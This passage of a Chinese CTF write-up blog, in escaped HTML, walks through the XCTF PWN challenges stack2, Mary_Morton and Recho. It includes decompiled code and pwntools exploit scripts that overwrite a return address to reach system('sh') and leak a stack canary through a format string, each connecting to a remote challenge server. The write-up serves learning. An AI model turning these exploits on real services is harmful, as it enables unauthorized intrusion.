src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325184342886\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u518d\u67e5\u770b\u4e00\u4e0b\u5b57\u7b26\u4e32\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025592.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025592.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325184548415\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u8ffd\u8e2a\u4e00\u4e0b\uff0c\u627e\u5230\u4e86\u5947\u602a\u7684\u4e1c\u897f<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025593.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025593.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325184717378\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u770b\u4e00\u4e0b\u8fd9\u4e2a<code>hackhere<\/code>:<\/p>\n<pre><code class=\"language-c\">int hackhere()\n{\n  return system(&quot;\/bin\/bash&quot;);\n}<\/code><\/pre>\n<p>nice! \u4e0d\u8fc7\u8be5\u51fd\u6570\u8c03\u7528<code>system(&#039;&#039;\/bin\/bash&#039;)<\/code>\uff0c\u4e00\u822c\u8fdc\u7a0b\u5c31\u7559\u4e00\u4e2ash\u548ccat\u3002<\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u5229\u7528system\u51fd\u6570\uff0c\u76f4\u63a5\u6267\u884c<code>system(&#039;sh&#039;)<\/code>\u3002<\/p>\n<p>\u7136\u800c\u641e\u4e86\u5f88\u957f\u65f6\u95f4\u8fd8\u662f\u6ca1\u6709\u641e\u51fa\u6765\u53ea\u80fd\u53c2\u8003\u5e08\u5085\u4eec\u7684wp\u4e86\uff0c\u8fd9\u9053\u9898\u7559\u5230\u4ee5\u540e\u518d\u91cd\u65b0\u641e\u5427\u3002    <\/p>\n<p><embed id=\"pdfPlayer\" src=\"file:\/\/\/E:\/Typora\/Typora\/CTF\/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C\/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E8%BF%9B%E9%98%B6%E4%B8%93%E5%8C%BA%E2%80%94%E2%80%94PWN(1~12).assets\/stack2.pdf\" type=\"application\/pdf\" width=\"100%\" height=\"600\" ><\/p>\n<h3>EXP\uff1a\uff08\u522b\u7684\u5e08\u5085\u7684wp\uff09<\/h3>\n<pre><code class=\"language-python\">from pwn import *\n\ndef write_addr(index,value,io):\n    io.sendline(&quot;3&quot;)\n    io.sendlineafter(&quot;which number to change:\\n&quot;,str(index))\n    io.sendlineafter(&quot;new number:\\n&quot;,str(value))\n\nio = remote(&quot;111.200.241.244&quot;,&quot;63910&quot;)\ncontext.log_level = &#039;debug&#039;\n\naddr_buf=0xffffcec8\naddr_ret=0xffffcf4c\nindex = addr_ret - addr_buf\n\naddr_sys = [0x50,0x84,0x04,0x08]\naddr_sh = [0x87,0x89,0x04,0x08]\n\nio.sendlineafter(&quot;How many numbers you have:\\n&quot;,&quot;1&quot;)\nio.sendlineafter(&quot;Give me your numbers\\n&quot;,&quot;1&quot;)\n\nfor i in range(4):\n    write_addr(index,addr_sys[i],io)\n    index = index+1\n\nfor i in range(4):\n    write_addr(index,addr_sys[i],io)\n    index = index+1\n\nfor i in range(4):\n    write_addr(index,addr_sh[i],io)\n    index = index+1\n\nio.sendline(&quot;5&quot;)\nio.interactive()<\/code><\/pre>\n<h2>Mary_Morton<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025594.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025594.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328130625830\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u7b80\u5355\u67e5\u770b\u4e00\u4e0b\u9644\u4ef6\u7684\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025595.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025595.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328131057049\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>IDA\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-c\">void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)\n{\n  const char *v3; \/\/ rdi\n  int v4; \/\/ [rsp+24h] [rbp-Ch]\n  unsigned __int64 v5; \/\/ [rsp+28h] [rbp-8h]\n\n  v5 = __readfsqword(0x28u);\n  sub_4009FF();\n  puts(&quot;Welcome to the battle ! &quot;);\n  puts(&quot;[Great Fairy] level pwned &quot;);\n  v3 = &quot;Select your weapon &quot;;\n  puts(&quot;Select your weapon &quot;);\n  while ( 1 )\n  {\n    while ( 1 )\n    {\n      sub_4009DA(v3);\n      v3 = &quot;%d&quot;;\n      __isoc99_scanf(&quot;%d&quot;, &amp;v4);\n      if ( v4 != 2 )\n        break;\n      sub_4008EB();\n    }\n    if ( v4 == 3 )\n    {\n      puts(&quot;Bye &quot;);\n      exit(0);\n    }\n    if ( v4 == 1 )\n    {\n      sub_400960();\n    }\n    else\n    {\n      v3 = &quot;Wrong!&quot;;\n      puts(&quot;Wrong!&quot;);\n    }\n  }\n}<\/code><\/pre>\n<p>\u518d\u67e5\u770b\u4e00\u4e0b\u5176\u4ed6\u7684\u51fd\u6570\uff0c\u627e\u5230\u4e86\u4e24\u4e2a\u6f0f\u6d1e\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025596.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025596.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328131456205\" style=\"zoom:33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025597.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025597.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328131548335\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u4ee5\u53caflag:<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025598.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025598.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328132150313\" style=\"zoom:33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025599.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025599.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328132211097\" style=\"zoom:33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025600.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025600.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328132228821\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u4f46\u662f\u672c\u9898\u5f00\u4e86Canary\uff0c\u5173\u4e8e\u8fd9\u4e2a\uff0c\u5f15\u7528<a href=\"https:\/\/blog.csdn.net\/u012890095\">Nathan-Yang<\/a>\u7684\u89e3\u91ca<\/p>\n<blockquote>\n<p><code>\u6240\u8c13\u7684Canary\u4fdd\u62a4\u662f\u6307\u5728\u6808\u5728\u4fdd\u5b58rbp\u7684\u4f4d\u7f6e\u4e4b\u4e0a\uff0c\u8fd8\u4fdd\u5b58\u4e86\u4e00\u4e2a\u53d8\u91cfv\u3002\u5728\u51fd\u6570\u6267\u884c\u7ed3\u675f\uff0c\u51c6\u5907pop rbp\u548cpop addr_ret\u4e4b\u524d\uff0c\u68c0\u67e5v\u662f\u5426\u88ab\u6539\u53d8\uff0c\u5982\u679c\u6539\u53d8\u4e86\u5219\u8bf4\u660e\u53d1\u751f\u4e86\u6808\u6ea2\u51fa\uff0c\u7a0b\u5e8f\u5c06\u4f1a\u62a5\u9519\u3002v\u7684\u5b9e\u73b0\u903b\u8f91\u548c\u5728\u6808\u4e2d\u7684\u4f4d\u7f6e\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/code><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025601.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025601.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025602.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025602.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\" \/><\/div><\/p>\n<\/blockquote>\n<p>\u6240\u4ee5\u672c\u9898\u5c31\u662f\u8981\u5229\u7528\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u7ed5\u8fc7canary\uff0c\u518d\u901a\u8fc7\u6808\u6ea2\u51fa\u5f97\u5230flag\u3002<\/p>\n<p>\u8ba1\u7b97\u504f\u79fb\u91cf\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025603.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025603.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328132643659\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>buf\u548cv2\u76f8\u5dee\u4e86<code>0x90-0x8=0x88<\/code>\uff0c<code>0x88\/8=17<\/code>\uff0c <code>17+6=23<\/code>:<\/p>\n<h3>EXP\uff1a(<a href=\"https:\/\/blog.csdn.net\/qq_43935969\">\u4e66\u6587winter<\/a>)<\/h3>\n<pre><code class=\"language-python\">from pwn import *\ncontext.log_level = &#039;debug&#039;\np = remote(&#039;111.200.241.244&#039;,56682)\np.recvuntil(&quot;Exit the battle &quot;)\np.sendline(str(2))\np.sendline(&quot;%23$p&quot;)\np.recvuntil(&quot;0x&quot;)\ncanary = int(p.recv(16),16)\np.recvuntil(&quot;Exit the battle &quot;)\npayload = &quot;a&quot;*0x88 + p64(canary) + 0x8*&quot;a&quot; + p64(0x04008DA)\np.sendline(str(1))\np.sendline(payload)\np.interactive()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025604.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025604.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328133447096\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<h2>Recho<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025605.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025605.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328134036594\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6253\u5f00\u770b\u4e00\u4e0b\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025606.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025606.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328134225458\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>IDA\u6253\u5f00\u770b\u4e00\u4e0b\u903b\u8f91\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025607.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025607.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328134741287\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u5206\u6790\u51fa\u7a0b\u5e8f\u5927\u610f\uff0c\u5148\u8bfb\u53d6\u5b57\u7b26\u4e32\u957f\u5ea6\u5b58\u5165<code>nptr<\/code>\u4e0e<code>v7<\/code>\u4e2d\uff0c\u5982\u679c\u5b57\u7b26\u4e32\u957f\u5ea6\u5c0f\u4e8e15\u65f6\u5c06<code>v7<\/code>\u8bbe\u4e3a16\uff0c\u5927\u4e8e15\u5219\u4e0d\u53d8\u3002\u7136\u540e\u8bfb\u53d6v7\u4e2a\u5b57\u7b26\u653e\u5165buf\u4e2d\uff0c\u6700\u540e\u5728\u672b\u5c3e\u6dfb\u4e0a0\u5e76\u6253\u5370\u51fa\u6765\u3002\u5982\u679cv7\u5f88\u5927\uff0c\u5219read\u4f1a\u9020\u6210\u6ea2\u51fa\u5e76\u8986\u76d6\u3002<\/p>\n<p>\u67e5\u770b\u4e00\u4e0b\u5b57\u7b26\u4e32\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025608.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025608.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220328134825145\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u627e\u5230flag\u5b57\u7b26\u4e32\uff0c\u7ee7\u7eed\u770b\u8fd9\u4e2a\u7a0b\u5e8f\uff0c\u8fd9\u4e2a\u5faa\u73af\u662f\u4e2a\u6b7b\u5faa\u73af\uff0c\u5982\u679c\u76f4\u63a5\u4f7f\u7528close()\u51fd\u6570\u7a0b\u5e8f\u4f1a\u76f4\u63a5\u9000\u51fa\uff0c\u770b\u5e08\u5085\u4eec\u7684wp\uff0c\u53d1\u73b0\u6709\u4e00\u4e2a<code>shutdown()\u51fd\u6570<\/code>\u53ef\u4ee5\u5173\u95edIO\u6d41\uff0c\u8ba9\u5faa\u73af\u6b63\u5e38\u9000\u51fa\u3002<\/p>\n<p><code>alarm<\/code>\uff0c<code>open<\/code>\uff0c<code>read<\/code>\uff0c<code>write<\/code>\u51fd\u6570\u7684\u5b9e\u73b0\u90fd\u662f\u901a\u8fc7syscall\u5b9e\u73b0\u7684\uff0c\u5206\u6790alarm\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025609.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025609.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329150852855\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u5b58\u5728<code>syscall<\/code>\u3002\u53c2\u8003\u7f51\u4e0a\u5927\u4f6c\u7684\u601d\u8def\uff0c\u5927\u81f4\u662f\u8fd9\u6837\u5229\u7528\u7684\uff1a<\/p>\n<ul>\n<li>\u5148\u5229\u7528Gadget\u914d\u5408\u4fee\u6539alarm\u51fd\u6570\u7684got\u8868\u9879\uff0c\u6307\u5411syscall\u3002<\/li>\n<li>\u4f20\u5165\u76f8\u5e94\u7684eax\uff0copen\u6253\u5f00flag<\/li>\n<li>\u7528read\u548cwrite\u8f93\u51fa\u51fd\u6570<\/li>\n<\/ul>\n<h3>EXP\uff1a<a 